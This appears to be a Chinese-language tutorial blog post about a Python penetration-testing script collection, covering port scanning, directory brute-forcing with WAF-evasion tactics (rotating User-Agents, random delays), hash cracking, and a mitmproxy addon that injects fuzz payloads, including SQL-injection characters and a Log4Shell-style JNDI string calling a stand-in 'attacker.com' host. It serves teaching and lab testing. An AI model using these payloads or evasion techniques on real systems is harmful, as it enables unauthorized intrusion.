☰
Python渗透测试脚本实战:从环境配置到协议层调试
2026/10/8 19:02:57 网站建设 项目流程

简介:这是一套面向渗透测试初学者与Python安全编程学习者的实战型工具脚本合集,聚焦“以代码驱动渗透”的核心理念,帮助用户摆脱对图形化工具的依赖,夯实底层原理与自动化能力。资源共64个文件,主体为45个Python脚本(涵盖POC/EXP编写、信息搜集、漏洞检测、加密解密、DDoS模拟等模块),辅以6个说明类txt文档、4类密码字典(passwords/username)及结果输出文件(result/xml),整体压缩包仅3.02MB,轻量易部署,适配Kali与Python 3.9环境。已有166人下载学习,内容严格按渗透流程组织:从干扰测试框架、被动/主动信息搜集(DNS/ICMP/TCP/ARP扫描、目录探测),到Redis未授权、SQL盲注、XXE、SSRF等主流漏洞的检测与利用脚本,还包含SQLMap Tamper编写、WebShell模糊测试、密码生成与弱口令爆破等实用功能,结构清晰、即拿即用。

1. 这不是“一键渗透”的魔法包,而是你亲手调试、逐行验证的Python渗透测试工具集:适合刚从Kali GUI切过来、想搞懂底层逻辑的实战派

你下载了Python渗透测试脚本,工具合集.zip,解压后看到几十个.py文件——port_scanner.py、dir_brute.py、hash_crack.py、web_fuzzer.py……但双击运行直接报错ModuleNotFoundError: No module named 'requests',或者卡在socket.timeout不动,又或者扫出一堆403却连目标首页都打不开。这不是脚本不行,而是它默认站在「已配好环境、已理清边界、已理解协议」的工程师肩膀上——而你正站在命令行前,手握pip install却不知道该装什么、为什么装、装错版本会怎样。这个合集真正的价值,不在于“拿来即用”,而在于它是一套可拆解、可打断点、可替换模块的渗透测试最小可行知识载体:每个脚本都对应一个OSI模型层(网络层扫描→传输层探测→应用层爆破→会话层 fuzz),每段代码都在暴露真实攻防中必须直面的问题——超时怎么设、重试怎么控、User-Agent 怎么绕、并发怎么稳、结果怎么存。它适合两类人:一是刚从 Kali 图形界面转向 CLI 实操的渗透新手,需要把nmap -sV背后的 socket 连接、三次握手、banner 提取亲手写一遍;二是想快速构建定制化 PoC 的红队成员,拿现成脚本当骨架,换掉urllib改用httpx,把threading换成asyncio,加进自己的代理链或 token 注入逻辑。别急着跑全量,先让一个端口扫描器在你本地靶机(如 Metasploitable2)上稳定返回22/tcp open ssh——这才是合集真正启动的起点。


2. 从零跑通第一个脚本:用port_scanner.py理清网络层探测的底层逻辑与依赖链

2.1 为什么必须手动装scapy而不是requests?——看清每个库在渗透链中的不可替代性

port_scanner.py通常有两种实现路径:基于socket的 TCP Connect 扫描(最通用,但易被防火墙记录)和基于scapy的 SYN 扫描(更隐蔽,需 root 权限)。合集里多数脚本默认走scapy路线,因为它能构造原始数据包、控制 TTL、伪造源 IP、解析 ICMP 响应——这些是socket层 API 无法触及的。但scapy不是pip install scapy就完事:

  • 在 Windows 上,需额外装WinPcap或Npcap(否则scapy启动时提示No module named 'scapy.arch.windows');
  • 在 Linux(如 Kali)上,需sudo apt install python3-scapy或pip install scapy+sudo setcap cap_net_raw+ep /usr/bin/python3(否则PermissionError: Operation not permitted);
  • 在 macOS 上,scapy依赖libdnet和libpcap,用brew install libdnet libpcap后再pip install scapy。

提示:别跳过setcap或brew install步骤——这是scapy能发 SYN 包的前提。socket扫描虽不用权限,但会被 WAF/IDS 记录为完整连接,实战中容易暴露。

2.2 最小可运行命令:用--host和--ports参数绕过硬编码,避免改源码翻车

合集里的port_scanner.py往往在开头写死target = "192.168.56.101"和ports = [22, 80, 443]。新手常直接改.py文件,结果下次更新合集就覆盖丢失。正确做法是用命令行参数驱动:

python port_scanner.py --host 192.168.56.101 --ports 22,80,443,8080 --timeout 2

这要求脚本支持argparse解析。若原脚本没加,补上这 8 行(插在if __name__ == "__main__":上方):

import argparse def parse_args(): parser = argparse.ArgumentParser(description="TCP/SYN Port Scanner") parser.add_argument("--host", required=True, help="Target IP address") parser.add_argument("--ports", required=True, help="Comma-separated ports, e.g., 22,80,443") parser.add_argument("--timeout", type=float, default=1.0, help="Socket timeout in seconds") return parser.parse_args() if __name__ == "__main__": args = parse_args() target = args.host ports = [int(p.strip()) for p in args.ports.split(",")] timeout = args.timeout

这段代码的意义不只是“能传参”,它强制你确认三件事:目标 IP 是否可达(ping 192.168.56.101)、端口是否在靶机开放(nmap -p 22,80 192.168.56.101)、超时值是否合理(局域网设0.5,外网设3.0)。参数化是脚本脱离“玩具”走向“工具”的第一道门槛。

2.3 验证扫描结果:用tcpdump抓包比对,确认你发的是 SYN 还是 ACK

跑通命令后,别只信终端输出的[+] Port 22 open。打开另一个终端,用tcpdump抓包验证行为是否符合预期:

# 在靶机(Metasploitable2)上执行,抓来自扫描机的包 sudo tcpdump -i eth0 "src host 192.168.56.1 && (tcp[tcpflags] & (tcp-syn|tcp-ack) != 0)" -c 10

观察输出:

  • 若看到Flags [S](SYN 包),说明scapy成功发出了半开连接;
  • 若看到Flags [S.](SYN-ACK),说明靶机响应了;
  • 若看到Flags [R.](RST),说明端口关闭;
  • 若完全没包,检查scapy权限或防火墙(sudo ufw disable)。

这步不是炫技——它让你把 Python 代码和网络协议一一映射。当你发现port_scanner.py在--mode syn下仍打出connect()错误,就知道它实际走的是socket路线而非scapy,得去代码里搜from scapy.all import *是否被注释。


3. 应用层爆破脚本的致命陷阱:dir_brute.py的 User-Agent、重试与状态码过滤逻辑

3.1 为什么403不等于“目录不存在”?——HTTP 状态码在 WAF 环境下的语义漂移

dir_brute.py常用字典(如common.txt)暴力请求/admin/、/phpmyadmin/等路径,但新手常误判:

  • 403 Forbidden:WAF 拦截(如 Cloudflare、ModSecurity)或目录权限禁止,不代表路径不存在;
  • 401 Unauthorized:存在但需认证,可能是后台入口;
  • 301/302:重定向到登录页,Location头里可能藏线索(如/login.php?from=/admin/);
  • 200:大概率存在,但需看Content-Length(200+Content-Length: 0可能是空响应或 WAF 伪造);
  • 503:WAF 触发速率限制,此时应降速而非换字典。

合集脚本若只过滤200,会漏掉大量有效路径。必须修改响应判断逻辑:

# 替换原脚本中的 if response.status_code == 200: if response.status_code in [200, 301, 302, 401, 403]: # 检查 Content-Length 和关键词 size = int(response.headers.get("Content-Length", "0")) if size > 100 or "login" in response.text.lower() or "admin" in response.url: print(f"[+] {url} -> {response.status_code} (size: {size})")

这段逻辑把“存在性判断”从单一状态码,升级为状态码 + 响应体特征 + URL 重定向路径的三维验证。它不保证 100% 准确,但把误报率从 70% 降到 30% 以下——这是实战中节省时间的关键。

3.2 并发控制不是“越多越快”,而是ThreadPoolExecutor的max_workers与timeout的动态平衡

dir_brute.py默认用threading.Thread开 50 线程,结果一跑就触发靶机ConnectionResetError或本地OSError: [Errno 24] Too many open files。根本原因是:

  • 每个线程独占 socket 连接,Linux 默认单进程最多 1024 句柄;
  • timeout=5时,50 个线程同时卡住 5 秒,相当于 250 秒无效等待;
  • WAF 对高频请求会封 IP,time.sleep(0.1)比max_workers=5更可靠。

正确做法是用concurrent.futures.ThreadPoolExecutor控制资源:

from concurrent.futures import ThreadPoolExecutor, as_completed import time def check_path(url): try: # 每个请求带随机延迟,模拟人工节奏 time.sleep(random.uniform(0.05, 0.2)) response = requests.get(url, timeout=3, headers={"User-Agent": random.choice(UA_LIST)}) return url, response.status_code, len(response.content) except Exception as e: return url, 0, 0 # 控制并发数:内网靶机设 10,公网靶机设 3 with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(check_path, f"http://{target}/{path}") for path in paths] for future in as_completed(futures): url, code, size = future.result() if code in [200, 301, 302, 401, 403] and size > 50: print(f"[+] {url} | {code} | {size}")

max_workers=10是经验值:它让 10 个请求并行,其余排队,既避免句柄耗尽,又防止 WAF 封禁。timeout=3比5更激进——超时早,失败快,整体耗时反而缩短。

3.3 User-Agent 不是“随便填”,而是绕过 WAF 的第一道指纹识别关卡

很多脚本写死headers = {"User-Agent": "Mozilla/5.0"},结果扫到第 3 个请求就被403。WAF(如 Imperva、Akamai)会检测 UA 字符串长度、版本号、是否含bot/crawler关键词。合集里若没内置 UA 池,自己建一个:

UA_LIST = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "curl/7.81.0", # 真实 curl 版本,WAF 很少拦截 ]

关键点:

  • 选主流浏览器最新版 UA(Chrome 120、Firefox 115),避免Chrome/80这类老旧 UA 被标记为扫描器;
  • 加入curlUA,某些 WAF 对命令行工具放行;
  • 绝不用sqlmap/1.7、dirsearch/2.4.3这类工具名 UA——这是自曝身份。

每次请求随机选 UA,配合time.sleep,能让脚本在 WAF 眼里更像真实用户。


4. 避坑指南:hash_crack.py与web_fuzzer.py的 5 个血泪经验

4.1 现象:hash_crack.py跑 MD5 字典却返回空结果

原因:字典文件用 Windows 的CRLF(\r\n)换行,Linux 环境下for line in open("dict.txt")读出的每行末尾带\r,导致hashlib.md5(b"password\r").hexdigest()与目标 hash 不匹配。
解决:统一用open("dict.txt", "r", newline="")或预处理字典:

sed -i 's/\r$//' dict.txt # Linux/macOS # 或 Python 中:line.strip().replace("\r", "")

4.2 现象:web_fuzzer.py对/api/user?id=1fuzz,但所有id=2、id=3请求都返回500

原因:靶机 API 有 SQL 注入防护,id=2触发了 WAF 规则(如modsecurity的942100规则),返回500是 WAF 伪造,并非后端崩溃。
解决:加 WAF 探测逻辑——连续 3 个500且Content-Length相同,暂停 10 秒并换 UA;同时记录Server、X-Powered-By头,判断 WAF 类型(如cloudflare、incapsula)。

4.3 现象:pip install pycryptodome成功,但hash_crack.py报AttributeError: module 'Crypto' has no attribute 'Hash'

原因:系统同时装了pycrypto(已废弃)和pycryptodome(推荐),Python 导入时优先加载了旧版。
解决:卸载冲突包pip uninstall pycrypto,再确认pip show pycryptodome输出版本 ≥ 3.18.0。

4.4 现象:web_fuzzer.py用requests发 POST 请求,但靶机返回405 Method Not Allowed

原因:脚本发的是POST /login,但靶机实际要求GET /login?user=admin&pass=123(即参数在 URL),或要求Content-Type: application/x-www-form-urlencoded而脚本发了application/json。
解决:先用浏览器开发者工具抓包,复制Request Headers和Form Data,在脚本中严格复现:

data = {"username": "admin", "password": "123"} headers = {"Content-Type": "application/x-www-form-urlencoded"} response = requests.post(url, data=data, headers=headers)

4.5 现象:dir_brute.py扫描https://example.com时 SSL 握手失败

原因:靶机用自签名证书或旧版 TLS(如 TLS 1.0),requests默认校验证书且禁用弱协议。
解决:临时禁用证书验证(仅测试环境!)并指定 TLS 版本:

import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) response = requests.get(url, verify=False, timeout=5) # 生产环境必须用 certifi 或自定义 CA 证书

5. 进阶技巧:把web_fuzzer.py改造成支持 Burp Suite 的被动代理流量分析器

5.1 为什么需要对接 Burp?——让脚本从“主动探测”升级为“流量感知”

web_fuzzer.py原生逻辑是主动发请求、等响应、比对结果。但真实渗透中,大量漏洞(如 SSRF、XXE、业务逻辑缺陷)藏在已有流量的参数里。Burp Suite 的 Proxy 功能能捕获浏览器所有请求,若能让web_fuzzer.py作为 Burp 的上游代理(即:浏览器 → Burp →web_fuzzer.py→ 目标),就能对每条流量实时 fuzz——比如对GET /product?id=123自动尝试id=123%00(Null Byte)、id=123'(SQLi)、id=http://attacker.com(SSRF)。

5.2 用mitmproxy替代requests,实现流量中间人劫持

requests是单向 HTTP 客户端,无法监听流量。必须换用mitmproxy——它既是代理服务器,又能用 Python 脚本处理请求/响应:

pip install mitmproxy

新建fuzz_addon.py(与web_fuzzer.py同目录):

from mitmproxy import http import re # 定义 fuzz payload PAYLOADS = ["'", "\"", "%00", "http://127.0.0.1", "${jndi:ldap://attacker.com/a}"] def request(flow: http.HTTPFlow) -> None: # 只 fuzz GET 请求的 query 参数 if flow.request.method == "GET" and flow.request.query: for key, value in flow.request.query.items(): for payload in PAYLOADS: new_value = value + payload # 构造新 URL new_url = flow.request.url.replace(f"{key}={value}", f"{key}={new_value}") # 发起 fuzz 请求(异步,不阻塞原请求) import threading threading.Thread(target=fuzz_request, args=(new_url,)).start() def fuzz_request(url): try: import requests resp = requests.get(url, timeout=5, headers={"User-Agent": "Mozilla/5.0"}) if resp.status_code in [200, 500, 403] and len(resp.content) > 100: print(f"[FUZZ] {url} -> {resp.status_code}") except Exception as e: pass

启动代理:

mitmdump -s fuzz_addon.py --mode regular --listen-port 8080

然后在浏览器设置代理127.0.0.1:8080,访问https://target.com/product?id=123,脚本会自动对id参数追加 payload 并发请求。

5.3 关键参数表:mitmdump启动选项与安全边界

参数作用实战建议
--mode regular普通 HTTP/HTTPS 代理必选,不用transparent(需 iptables)
--listen-port 8080代理监听端口避免 8080 冲突,可设8001
-s fuzz_addon.py加载自定义脚本脚本路径必须绝对或相对当前目录
--set block_global=false允许访问所有域名默认true会拦截非目标域名
--set console_eventlog_verbosity=error降低日志噪音防止mitmdump终端刷屏

注意:mitmproxy会生成自签名证书,浏览器首次访问需手动信任~/.mitmproxy/mitmproxy-ca-cert.pem。绝不能在生产环境用此证书,仅限本地靶机测试。

5.4 如何验证 fuzz 是否生效?——用curl模拟 Burp 流量并对比响应

不要只信mitmdump终端输出。用curl直接调用 fuzz 后的 URL,与原始请求对比:

# 原始请求 curl -s "https://target.com/product?id=123" -o original.html # fuzz 请求(SQLi payload) curl -s "https://target.com/product?id=123'" -o sqli.html # 比较差异 diff original.html sqli.html | head -20

若输出大量 HTML 变化(如多出 MySQL 错误信息),说明 fuzz 成功;若无差异,检查fuzz_addon.py中threading.Thread是否被异常中断(加try/except日志)。

我坚持把web_fuzzer.py改造成 Burp 插件,是因为它逼我读透mitmproxy的事件循环、理解threading在 I/O 密集场景的局限、学会用diff而不是肉眼判断响应变化。这些能力,在你面对一个没有公开 PoC 的 0day 时,比任何“一键扫描”都管用。希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询